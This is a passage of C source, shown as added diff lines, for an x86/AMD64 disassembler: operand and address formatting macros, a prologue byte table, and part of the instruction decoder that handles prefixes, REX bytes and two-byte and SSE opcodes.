+ if (Operand->Flags & OP_CONDW) APPENDB('c'); \
+ if (Operand->Flags & OP_DST) APPENDB('W'); \
+ if (Operand->Flags & OP_SYS) APPENDB('S'); \
+ if (Operand->Flags & OP_ADDRESS) APPENDB('A'); \
+ if (Operand->Flags & OP_PARAM) APPENDB('P'); \
+ if (Operand->Flags & OP_LOCAL) APPENDB('L'); \
+ if (Operand->Flags & OP_GLOBAL) APPENDB('G'); \
+ APPENDB('}'); \
+ }
+
+#define X86_WRITE_IMMEDIATE() \
+{ \
+ switch (Operand->Length) \
+ { \
+ case 8: \
+ APPEND(OPCSTR, SIZE_LEFT, "0x%02I64X=", Operand->Value_U64); \
+ if (Operand->Value_S64 >= 0 || !(Operand->Flags & OP_SIGNED)) APPEND(OPCSTR, SIZE_LEFT, "%I64u", Operand->Value_U64); \
+ /*else APPEND(OPCSTR, SIZE_LEFT, "-0x%02I64X=%I64d", -Operand->Value_S64, Operand->Value_S64);*/ \
+ else APPEND(OPCSTR, SIZE_LEFT, "%I64d", Operand->Value_S64); \
+ break; \
+ case 4: \
+ APPEND(OPCSTR, SIZE_LEFT, "0x%02lX=", (U32)Operand->Value_U64); \
+ if (Operand->Value_S64 >= 0 || !(Operand->Flags & OP_SIGNED)) APPEND(OPCSTR, SIZE_LEFT, "%lu", (U32)Operand->Value_U64); \
+ /*else APPEND(OPCSTR, SIZE_LEFT, "-0x%02lX=%ld", (U32)-Operand->Value_S64, (S32)Operand->Value_S64);*/ \
+ else APPEND(OPCSTR, SIZE_LEFT, "%ld", (S32)Operand->Value_S64); \
+ break; \
+ case 2: \
+ APPEND(OPCSTR, SIZE_LEFT, "0x%02X=", (U16)Operand->Value_U64); \
+ if (Operand->Value_S64 >= 0 || !(Operand->Flags & OP_SIGNED)) APPEND(OPCSTR, SIZE_LEFT, "%u", (U16)Operand->Value_U64); \
+ /*else APPEND(OPCSTR, SIZE_LEFT, "-0x%02X=%d", (U16)-Operand->Value_S64, (S16)Operand->Value_S64);*/ \
+ else APPEND(OPCSTR, SIZE_LEFT, "%d", (S16)Operand->Value_S64); \
+ break; \
+ case 1: \
+ APPEND(OPCSTR, SIZE_LEFT, "0x%02X=", (U8)Operand->Value_U64); \
+ if (Operand->Value_S64 >= 0 || !(Operand->Flags & OP_SIGNED)) APPEND(OPCSTR, SIZE_LEFT, "%u", (U8)Operand->Value_U64); \
+ /*else APPEND(OPCSTR, SIZE_LEFT, "-0x%02X=%d", (U8)-Operand->Value_S64, (S8)Operand->Value_S64);*/ \
+ else APPEND(OPCSTR, SIZE_LEFT, "%d", (S8)Operand->Value_S64); \
+ break; \
+ default: assert(0); break; \
+ } \
+}
+
+#define X86_WRITE_ABSOLUTE_DISPLACEMENT() \
+{ \
+ switch (X86Instruction->AddressSize) \
+ { \
+ case 8: \
+ APPEND(OPCSTR, SIZE_LEFT, "0x%04I64X", X86Instruction->Displacement); \
+ break; \
+ case 4: \
+ APPEND(OPCSTR, SIZE_LEFT, "0x%04lX", (U32)X86Instruction->Displacement); \
+ break; \
+ case 2: \
+ APPEND(OPCSTR, SIZE_LEFT, "0x%04X", (U16)X86Instruction->Displacement); \
+ break; \
+ default: assert(0); break; \
+ } \
+}
+
+#define X86_WRITE_RELATIVE_DISPLACEMENT64() \
+ if (X86Instruction->Displacement >= 0) APPEND(OPCSTR, SIZE_LEFT, "+0x%02I64X", X86Instruction->Displacement); \
+ else APPEND(OPCSTR, SIZE_LEFT, "-0x%02I64X", -X86Instruction->Displacement);
+
+#define X86_WRITE_RELATIVE_DISPLACEMENT32() \
+ if (X86Instruction->Displacement >= 0) APPEND(OPCSTR, SIZE_LEFT, "+0x%02lX", (U32)X86Instruction->Displacement); \
+ else APPEND(OPCSTR, SIZE_LEFT, "-0x%02lX", (U32)-X86Instruction->Displacement);
+
+#define X86_WRITE_RELATIVE_DISPLACEMENT16() \
+ if (X86Instruction->Displacement >= 0) APPEND(OPCSTR, SIZE_LEFT, "+0x%02X", (U16)X86Instruction->Displacement); \
+ else APPEND(OPCSTR, SIZE_LEFT, "-0x%02X", (U16)-X86Instruction->Displacement);
+
+#define X86_WRITE_RELATIVE_DISPLACEMENT() \
+{ \
+ switch (X86Instruction->AddressSize) \
+ { \
+ case 8: \
+ X86_WRITE_RELATIVE_DISPLACEMENT64() \
+ break; \
+ case 4: \
+ X86_WRITE_RELATIVE_DISPLACEMENT32() \
+ break; \
+ case 2: \
+ X86_WRITE_RELATIVE_DISPLACEMENT16() \
+ break; \
+ default: assert(0); break; \
+ } \
+}
+
+#define X86_WRITE_IP_OFFSET(op) \
+{ \
+ switch (X86Instruction->OperandSize) \
+ { \
+ case 8: \
+ APPENDS("[rip+ilen"); \
+ assert((op)->TargetAddress); \
+ X86_WRITE_RELATIVE_DISPLACEMENT64() \
+ APPEND(OPCSTR, SIZE_LEFT, "]=0x%04I64X", (op)->TargetAddress+Instruction->VirtualAddressDelta); \
+ break; \
+ case 4: \
+ APPENDS("[eip+ilen"); \
+ assert((op)->TargetAddress); \
+ X86_WRITE_RELATIVE_DISPLACEMENT32() \
+ APPEND(OPCSTR, SIZE_LEFT, "]=0x%04lX", (U32)((op)->TargetAddress+Instruction->VirtualAddressDelta)); \
+ break; \
+ case 2: \
+ APPENDS("[ip+ilen"); \
+ X86_WRITE_RELATIVE_DISPLACEMENT16() \
+ APPEND(OPCSTR, SIZE_LEFT, "]=0x%04X", (U16)((op)->TargetAddress+Instruction->VirtualAddressDelta)); \
+ break; \
+ default: assert(0); break; \
+ } \
+}
+
+#define X86_WRITE_OFFSET(op) \
+{ \
+ assert((op)->Length <= 8); \
+ if (X86Instruction->HasSelector) \
+ { \
+ assert((op)->Flags & OP_FAR); \
+ APPEND(OPCSTR, SIZE_LEFT, "%s 0x%02X:[", DataSizes[((op)->Length >> 1)], X86Instruction->Selector); \
+ } \
+ else \
+ { \
+ assert(!((op)->Flags & OP_FAR)); \
+ assert(X86Instruction->Segment < SEG_MAX) ; \
+ APPEND(OPCSTR, SIZE_LEFT, "%s %s:[", DataSizes[((op)->Length >> 1)], Segments[X86Instruction->Segment]); \
+ } \
+ X86_WRITE_ABSOLUTE_DISPLACEMENT() \
+ APPENDB(']'); \
+}
+
+void OutputAddress(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex)
+{
+ BOOL ShowDisplacement = FALSE;
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+
+ assert(!X86Instruction->HasSelector);
+ assert(X86Instruction->SrcAddressIndex == OperandIndex || X86Instruction->DstAddressIndex == OperandIndex);
+ if (Operand->Length > 16 || (Operand->Length > 1 && (Operand->Length & 1))) APPEND(OPCSTR, SIZE_LEFT, "%d_byte ptr ", Operand->Length);
+ else APPEND(OPCSTR, SIZE_LEFT, "%s ", DataSizes[Operand->Length >> 1]);
+
+ //
+ // This attempts to display the address intelligently
+ // If it has a positive 32-bit displacement, it is shown as seg:Displacement[base+index*scale]
+ // If it is a negative displacement or 8-bit, it is shown as seg:[base+index*scale+displacement]
+ //
+ APPEND(OPCSTR, SIZE_LEFT, "%s:", Segments[X86Instruction->Segment]);
+ if (X86Instruction->HasBaseRegister)
+ {
+ if (X86Instruction->Displacement)
+ {
+ if (X86Instruction->HasFullDisplacement) X86_WRITE_ABSOLUTE_DISPLACEMENT()
+ else ShowDisplacement = TRUE;
+ }
+ APPEND(OPCSTR, SIZE_LEFT, "[%s", X86_Registers[X86Instruction->BaseRegister]);
+ if (X86Instruction->HasIndexRegister)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "+%s", X86_Registers[X86Instruction->IndexRegister]);
+ if (X86Instruction->Scale > 1) APPEND(OPCSTR, SIZE_LEFT, "*%d", X86Instruction->Scale);
+ }
+ if (ShowDisplacement) X86_WRITE_RELATIVE_DISPLACEMENT()
+ APPENDB(']');
+ if (X86Instruction->Relative)
+ {
+ U64 Address = Operand->TargetAddress;
+ assert(Address);
+ APPLY_OFFSET(Address)
+ APPEND(OPCSTR, SIZE_LEFT, "=[0x%04I64X]", Address);
+ }
+ }
+ else if (X86Instruction->HasIndexRegister)
+ {
+ if (X86Instruction->Displacement)
+ {
+ if (X86Instruction->HasFullDisplacement) X86_WRITE_ABSOLUTE_DISPLACEMENT()
+ else ShowDisplacement = TRUE;
+ }
+ APPEND(OPCSTR, SIZE_LEFT, "[%s", X86_Registers[X86Instruction->IndexRegister]);
+ if (X86Instruction->Scale > 1) APPEND(OPCSTR, SIZE_LEFT, "*%d", X86Instruction->Scale);
+ if (ShowDisplacement) X86_WRITE_RELATIVE_DISPLACEMENT()
+ APPENDB(']');
+ }
+ else // just a displacement
+ {
+ APPENDB('[');
+ X86_WRITE_ABSOLUTE_DISPLACEMENT()
+ APPENDB(']');
+ }
+}
+
+void OutputBounds(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex)
+{
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+ assert(X86Instruction->HasSrcAddressing);
+ assert(!(Operand->Length & 1));
+ Operand->Length >>= 1;
+ APPENDB('(');
+ OutputAddress(Instruction, Operand, OperandIndex);
+ APPENDS(", ");
+ X86Instruction->Displacement += Operand->Length;
+ OutputAddress(Instruction, Operand, OperandIndex);
+ X86Instruction->Displacement -= Operand->Length;
+ APPENDB(')');
+ Operand->Length <<= 1;
+}
+
+void OutputGeneral(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex)
+{
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+ if ((X86Instruction->HasDstAddressing && X86Instruction->DstAddressIndex == OperandIndex) ||
+ (X86Instruction->HasSrcAddressing && X86Instruction->SrcAddressIndex == OperandIndex))
+ {
+ OutputAddress(Instruction, Operand, OperandIndex);
+ }
+ else
+ {
+ APPENDS(X86_Registers[Operand->Register]);
+ }
+}
+
+void OutputDescriptor(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex)
+{
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+ assert(X86Instruction->HasSrcAddressing || X86Instruction->HasDstAddressing);
+ OutputAddress(Instruction, Operand, OperandIndex);
+}
+
+void OutputPackedReal(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex)
+{
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+ if ((X86Instruction->HasDstAddressing && X86Instruction->DstAddressIndex == OperandIndex) ||
+ (X86Instruction->HasSrcAddressing && X86Instruction->SrcAddressIndex == OperandIndex))
+ {
+ OutputAddress(Instruction, Operand, OperandIndex);
+ }
+ else
+ {
+ APPENDS(X86_Registers[Operand->Register]);
+ }
+}
+
+void OutputPackedBCD(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex)
+{
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+ if ((X86Instruction->HasDstAddressing && X86Instruction->DstAddressIndex == OperandIndex) ||
+ (X86Instruction->HasSrcAddressing && X86Instruction->SrcAddressIndex == OperandIndex))
+ {
+ OutputAddress(Instruction, Operand, OperandIndex);
+ }
+ else
+ {
+ APPENDS(X86_Registers[Operand->Register]);
+ }
+}
+
+void OutputScalarReal(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex)
+{
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+ if ((X86Instruction->HasDstAddressing && X86Instruction->DstAddressIndex == OperandIndex) ||
+ (X86Instruction->HasSrcAddressing && X86Instruction->SrcAddressIndex == OperandIndex))
+ {
+ OutputAddress(Instruction, Operand, OperandIndex);
+ }
+ else
+ {
+ APPENDS(X86_Registers[Operand->Register]);
+ }
+}
+
+void OutputScalarGeneral(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex)
+{
+ if (Operand->Type == OPTYPE_FLOAT)
+ {
+ OutputScalarReal(Instruction, Operand, OperandIndex);
+ }
+ else
+ {
+ OutputGeneral(Instruction, Operand, OperandIndex);
+ }
+}
+
+void OutputFPUEnvironment(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex)
+{
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+ assert(X86Instruction->HasSrcAddressing || X86Instruction->HasDstAddressing);
+ OutputAddress(Instruction, Operand, OperandIndex);
+}
+
+void OutputFPUState(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex)
+{
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+ assert(X86Instruction->HasSrcAddressing || X86Instruction->HasDstAddressing);
+ OutputAddress(Instruction, Operand, OperandIndex);
+}
+
+void OutputCPUState(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex)
+{
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+ assert(X86Instruction->HasSrcAddressing);
+ OutputAddress(Instruction, Operand, OperandIndex);
+}
+
+void OutputSegOffset(INSTRUCTION *Instruction, INSTRUCTION_OPERAND *Operand, U32 OperandIndex)
+{
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+ assert(X86Instruction->HasSrcAddressing);
+ OutputAddress(Instruction, Operand, OperandIndex);
+}
+
+////////////////////////////////////////////////////////////
+// Prologue support
+////////////////////////////////////////////////////////////
+
+typedef struct _PROLOGUE
+{
+ char *Data;
+ U32 Length;
+} PROLOGUE;
+
+PROLOGUE StandardPrologues[] =
+{
+ { "\x55\x8b\xec", 3 },
+ { "\x55\x89\xe5", 3 },
+ { "\x83\xec", 2 },
+ { "\x81\xec", 2 },
+ // TODO: add AMD64 prologues
+ // TODO: add VS2003/VS2003 prologues
+ // TODO: add any unique prologues from other compilers
+ { NULL, 0 }
+};
+
+// Find the first function between StartAddress and EndAddress
+//
+// This will match a standard prologue and then analyze the following instructions to verify
+// it is a valid function
+U8 *X86_FindFunctionByPrologue(INSTRUCTION *Instruction, U8 *StartAddress, U8 *EndAddress, U32 Flags)
+{
+ assert(0); // TODO
+ return NULL;
+}
+
+//////////////////////////////////////////////////////////
+// Instruction decoder
+//////////////////////////////////////////////////////////
+
+BOOL X86_GetInstruction(INSTRUCTION *Instruction, U8 *Address, U32 Flags)
+{
+ BOOL SpecialExtension = FALSE;
+ U8 Opcode = 0, OpcodeExtension = 0, Group = 0, SSE_Prefix = 0, Suffix;
+ U32 i = 0, Result = 0, tmpScale;
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+ X86_OPCODE *X86Opcode;
+#ifdef TEST_DISASM
+ U32 InstructionLength = 0;
+#endif
+ INSTRUCTION_OPERAND *Operand, *Operand1 = NULL;
+ DISASSEMBLER *Disassembler = Instruction->Disassembler;
+ BOOL Decode = Flags & DISASM_DECODE;
+ BOOL Disassemble = Flags & DISASM_DISASSEMBLE;
+ BOOL SuppressErrors = Flags & DISASM_SUPPRESSERRORS;
+
+ if (Disassemble && !Decode)
+ {
+ assert(0);
+ Decode = TRUE;
+ }
+
+ if (!Address || !X86_InitInstruction(Instruction))
+ {
+ assert(0);
+ goto abort;
+ }
+
+ assert(Instruction->Address == Address);
+ assert(!Instruction->StringIndex && !Instruction->Length);
+
+ Disassembler->Stage1Count++;
+ if (Flags & DISASM_ALIGNOUTPUT) Instruction->StringAligned = TRUE;
+
+ //
+ // Get prefixes or three byte opcode
+ //
+ while (TRUE)
+ {
+ Opcode = *Address;
+ INSTR_INC(1); // increment Instruction->Length and address
+ X86Opcode = &X86_Opcodes_1[Opcode];
+
+ // Handle a misplaced REX prefix -- AMD64 manual says it is just ignored
+ if (IS_AMD64() && (Opcode >= REX_PREFIX_START && Opcode <= REX_PREFIX_END) && X86_PREFIX((&X86_Opcodes_1[*Address])))
+ {
+ if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: REX prefix before legacy prefix 0x%02X\n", VIRTUAL_ADDRESS, Opcode);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ continue;
+ }
+
+ if (X86_PREFIX(X86Opcode))
+ {
+ if (!Instruction->AnomalyOccurred)
+ {
+ for (i = 0; i < Instruction->PrefixCount; i++)
+ {
+ if (Instruction->Prefixes[i] == Opcode)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Duplicate prefix 0x%02X\n", VIRTUAL_ADDRESS, Opcode);
+ Instruction->AnomalyOccurred = TRUE;
+ break;
+ }
+ }
+ }
+
+ switch (Opcode)
+ {
+ case PREFIX_REPNE: // may be three byte opcode
+ SSE_Prefix = Opcode;
+ if (!Instruction->AnomalyOccurred && X86Instruction->HasRepeatWhileEqualPrefix)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Conflicting prefix\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ Instruction->Repeat = TRUE;
+ X86Instruction->HasRepeatWhileEqualPrefix = FALSE;
+ X86Instruction->HasRepeatWhileNotEqualPrefix = TRUE;
+ break;
+ case PREFIX_REP: // may be three byte opcode
+ SSE_Prefix = Opcode;
+ if (!Instruction->AnomalyOccurred && X86Instruction->HasRepeatWhileNotEqualPrefix)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Conflicting prefix\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+
+ Instruction->Repeat = TRUE;
+ X86Instruction->HasRepeatWhileNotEqualPrefix = FALSE;
+ X86Instruction->HasRepeatWhileEqualPrefix = TRUE;
+ break;
+
+ case PREFIX_OPERAND_SIZE: // may be three byte opcode
+ SSE_Prefix = Opcode;
+ if (!Instruction->AnomalyOccurred && X86Instruction->HasOperandSizePrefix)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Conflicting prefix\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+
+ if (X86Instruction->HasOperandSizePrefix) break;
+ else X86Instruction->HasOperandSizePrefix = TRUE;
+ switch (X86Instruction->OperandSize)
+ {
+ case 4: X86Instruction->OperandSize = 2; break;
+ case 2: X86Instruction->OperandSize = 4; break;
+ default: assert(0); goto abort;
+ }
+ break;
+
+ case PREFIX_ADDRESS_SIZE:
+ if (!Instruction->AnomalyOccurred && X86Instruction->HasAddressSizePrefix)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Conflicting prefix\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+
+ if (X86Instruction->HasAddressSizePrefix) break;
+ else X86Instruction->HasAddressSizePrefix = TRUE;
+ switch (X86Instruction->AddressSize)
+ {
+ case 8:
+ X86Instruction->AddressSize = 4;
+ break;
+ case 4:
+ assert(!IS_AMD64()); // this should not be possible
+ X86Instruction->AddressSize = 2;
+ break;
+ case 2:
+ X86Instruction->AddressSize = 4;
+ break;
+ default:
+ assert(0); goto abort;
+ }
+ break;
+
+ case PREFIX_SEGMENT_OVERRIDE_ES:
+ SANITY_CHECK_SEGMENT_OVERRIDE();
+ if (!IS_AMD64())
+ {
+ X86Instruction->HasSegmentOverridePrefix = TRUE;
+ X86Instruction->Segment = SEG_ES;
+ }
+ else if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Meaningless segment override\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ break;
+ case PREFIX_SEGMENT_OVERRIDE_CS:
+ SANITY_CHECK_SEGMENT_OVERRIDE();
+ if (!IS_AMD64())
+ {
+ X86Instruction->HasSegmentOverridePrefix = TRUE;
+ X86Instruction->Segment = SEG_CS;
+ }
+ else if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Meaningless segment override\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ break;
+ case PREFIX_SEGMENT_OVERRIDE_SS:
+ SANITY_CHECK_SEGMENT_OVERRIDE();
+ if (!IS_AMD64())
+ {
+ X86Instruction->HasSegmentOverridePrefix = TRUE;
+ X86Instruction->Segment = SEG_SS;
+ }
+ else if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Meaningless segment override\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ break;
+ case PREFIX_SEGMENT_OVERRIDE_DS:
+ SANITY_CHECK_SEGMENT_OVERRIDE();
+ if (!IS_AMD64())
+ {
+ X86Instruction->HasSegmentOverridePrefix = TRUE;
+ X86Instruction->Segment = SEG_DS;
+ }
+ else if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Meaningless segment override\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ break;
+ case PREFIX_SEGMENT_OVERRIDE_FS:
+ SANITY_CHECK_SEGMENT_OVERRIDE();
+ X86Instruction->HasSegmentOverridePrefix = TRUE;
+ X86Instruction->Segment = SEG_FS;
+ break;
+ case PREFIX_SEGMENT_OVERRIDE_GS:
+ SANITY_CHECK_SEGMENT_OVERRIDE();
+ X86Instruction->HasSegmentOverridePrefix = TRUE;
+ X86Instruction->Segment = SEG_GS;
+ break;
+
+ case PREFIX_LOCK:
+ if (!Instruction->AnomalyOccurred && X86Instruction->HasLockPrefix)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Conflicting prefix\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ X86Instruction->HasLockPrefix = TRUE;
+ break;
+
+ default:
+ assert(0);
+ goto abort;
+ }
+
+ if (Instruction->PrefixCount >= X86_MAX_INSTRUCTION_LEN)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Reached maximum prefix count %d\n", VIRTUAL_ADDRESS, X86_MAX_PREFIX_LENGTH);
+ goto abort;
+ }
+ else if (Instruction->PrefixCount == X86_MAX_PREFIX_LENGTH)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Reached maximum prefix count %d\n", VIRTUAL_ADDRESS, X86_MAX_PREFIX_LENGTH);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+
+ assert(Instruction->AnomalyOccurred || Instruction->PrefixCount < X86_MAX_PREFIX_LENGTH);
+ Instruction->Prefixes[Instruction->PrefixCount] = Opcode;
+ Instruction->PrefixCount++;
+ //DISASM_OUTPUT(("[0x%08I64X] Prefix 0x%02X (prefix count %d)\n", VIRTUAL_ADDRESS, Opcode, Instruction->PrefixCount));
+ }
+ else
+ {
+ break;
+ }
+ }
+
+ // Check for REX opcode
+ // This is checked here instead of the prefix loop above because it must be the
+ // last prefix
+ if (IS_AMD64() && (Opcode >= REX_PREFIX_START && Opcode <= REX_PREFIX_END))
+ {
+ if (Instruction->PrefixCount >= X86_MAX_INSTRUCTION_LEN)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Reached maximum prefix count %d\n", VIRTUAL_ADDRESS, X86_MAX_PREFIX_LENGTH);
+ goto abort;
+ }
+ else if (!Instruction->AnomalyOccurred && Instruction->PrefixCount == AMD64_MAX_PREFIX_LENGTH)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Reached maximum prefix count %d\n", VIRTUAL_ADDRESS, X86_MAX_PREFIX_LENGTH);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+
+ assert(Instruction->AnomalyOccurred || Instruction->PrefixCount < AMD64_MAX_PREFIX_LENGTH);
+
+ Instruction->Prefixes[Instruction->PrefixCount] = Opcode;
+ Instruction->PrefixCount++;
+ X86Instruction->rex_b = Opcode;
+ SET_REX(X86Instruction->rex, X86Instruction->rex_b);
+ DISASM_OUTPUT(("[0x%08I64X] REX prefix 0x%02X (prefix count %d, w=%d, r=%d, x=%d, b=%d)\n", VIRTUAL_ADDRESS, Opcode, Instruction->PrefixCount, X86Instruction->rex.w, X86Instruction->rex.r, X86Instruction->rex.x, X86Instruction->rex.b));
+
+ assert(X86Instruction->AddressSize >= 4);
+ if (X86Instruction->rex.w)
+ {
+ X86Instruction->OperandSize = 8;
+ X86Instruction->HasOperandSizePrefix = FALSE;
+ }
+ else if (X86Instruction->HasOperandSizePrefix)
+ {
+ assert(X86Instruction->OperandSize == 2);
+ }
+ else if (X86Instruction->rex_b == REX_PREFIX_START)
+ {
+ if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: meaningless REX prefix used\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ X86Instruction->rex_b = 0;
+ }
+
+ Opcode = *Address;
+ INSTR_INC(1); // increment Instruction->Length and address
+
+ X86Opcode = &X86_Opcodes_1[Opcode];
+ assert(!X86_PREFIX(X86Opcode));
+ }
+ //DISASM_OUTPUT(("[0x%08I64X] OperandSize = %d, AddressSize = %d\n", VIRTUAL_ADDRESS, X86Instruction->OperandSize, X86Instruction->AddressSize));
+ Instruction->LastOpcode = Opcode;
+ Instruction->OpcodeAddress = Address-1;
+
+ if (X86_INVALID(X86Opcode))
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Invalid opcode 0x%02X\n", VIRTUAL_ADDRESS, Opcode);
+ goto abort;
+ }
+
+ if (Opcode == X86_TWO_BYTE_OPCODE)
+ {
+ //
+ // Handle case that it is a group (with opcode extension), floating point, or two byte opcode
+ //
+ assert(!Instruction->OpcodeLength);
+ Instruction->LastOpcode = Opcode = *Address;
+ INSTR_INC(1); // increment Instruction->Length and address
+ assert(X86Opcode->Table == X86_Opcodes_2);
+ X86Opcode = &X86_Opcodes_2[Opcode];
+
+ //
+ // Check for errors
+ //
+ if (X86_INVALID(X86Opcode))
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Invalid two byte opcode 0x%02X 0x%02X\n", VIRTUAL_ADDRESS, X86_TWO_BYTE_OPCODE, Opcode);
+ goto abort;
+ }
+
+ if (X86Instruction->AddressSize == 8)
+ {
+ if (X86_Invalid_Addr64_2[Opcode])
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Opcode 0x%02X 0x%02X (\"%s\") illegal in 64-bit mode\n", VIRTUAL_ADDRESS, X86_TWO_BYTE_OPCODE, Opcode, X86Opcode->Mnemonic);
+ goto abort;
+ }
+#if 0
+ if (X86Instruction->rex_b &&
+ (GET_REX_B(X86Instruction->rex_b) && !GET_REX_B(X86_REX_2[Opcode]) ||
+ GET_REX_X(X86Instruction->rex_b) && !GET_REX_X(X86_REX_2[Opcode]) ||
+ GET_REX_R(X86Instruction->rex_b) && !GET_REX_R(X86_REX_2[Opcode]) ||
+ GET_REX_W(X86Instruction->rex_b) && !GET_REX_W(X86_REX_2[Opcode])))
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Illegal REX prefix 0x%02X for opcode 0x%02X 0x%02X\n", VIRTUAL_ADDRESS, X86Instruction->rex_b, X86_TWO_BYTE_OPCODE, Opcode);
+ assert(0);
+ goto abort;
+ }
+#endif
+ }
+
+ if (X86Instruction->OperandSize == 2 && X86_Invalid_Op16_2[Opcode])
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: Opcode 0x%02X 0x%02X (\"%s\") illegal with 16-bit operand size\n", VIRTUAL_ADDRESS, X86_TWO_BYTE_OPCODE, Opcode, X86Opcode->Mnemonic);
+ goto abort;
+ }
+
+ X86Instruction->HasModRM = X86_ModRM_2[Opcode];
+ if (X86Instruction->HasModRM) X86Instruction->modrm_b = *Address;
+ Instruction->OpcodeBytes[0] = X86_TWO_BYTE_OPCODE;
+ Instruction->OpcodeBytes[1] = Opcode;
+ Instruction->OpcodeLength = 2;
+
+ if (X86_SPECIAL_EXTENSION(X86Opcode))
+ {
+ DISASM_OUTPUT(("[0x%08I64X] Special opcode extension 0x%02X 0x%02X\n", VIRTUAL_ADDRESS, X86_TWO_BYTE_OPCODE, Opcode));
+ SpecialExtension = TRUE;
+ goto HasSpecialExtension;
+ }
+ else if (SSE_Prefix && !X86_INVALID(&X86_SSE[Opcode])) // SSEx instruction
+ {
+ Instruction->OpcodeLength = 3;
+ Instruction->OpcodeBytes[2] = SSE_Prefix;
+ assert(Instruction->OpcodeBytes[1] == Opcode);
+
+ // Since the prefix was really an opcode extension, remove it from
+ // the prefix list
+ for (i = 0; i < Instruction->PrefixCount; i++)
+ {
+ if (Instruction->Prefixes[i]) break;
+ }
+ assert(i != Instruction->PrefixCount);
+ Instruction->PrefixCount--;
+ Instruction->Prefixes[i] = 0;
+
+ // Slide any prefixes following the removed prefix down by 1
+ memmove(&Instruction->Prefixes[i], &Instruction->Prefixes[i+1], Instruction->PrefixCount-i);
+ Instruction->Prefixes[Instruction->PrefixCount] = 0;
+ Instruction->Repeat = FALSE;
+ X86Instruction->HasRepeatWhileEqualPrefix = FALSE;
+ X86Instruction->HasRepeatWhileNotEqualPrefix = FALSE;
+ X86Instruction->HasOperandSizePrefix = FALSE;
+ if (SSE_Prefix == PREFIX_OPERAND_SIZE)
+ {
+ if (IS_AMD64() && X86Instruction->rex.w) X86Instruction->OperandSize = 8;
+ else X86Instruction->OperandSize = 4;
+ }
+
+ if (IS_X86_16())
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: SSE invalid in 16-bit mode\n", VIRTUAL_ADDRESS);
+ goto abort;
+ }
+
+ assert(X86Instruction->HasModRM);
+ switch (SSE_Prefix)
+ {
+ case PREFIX_OPERAND_SIZE: X86Opcode = &X86_SSE[0x000+Opcode]; break;
+ case PREFIX_REPNE: X86Opcode = &X86_SSE[0x100+Opcode]; break;
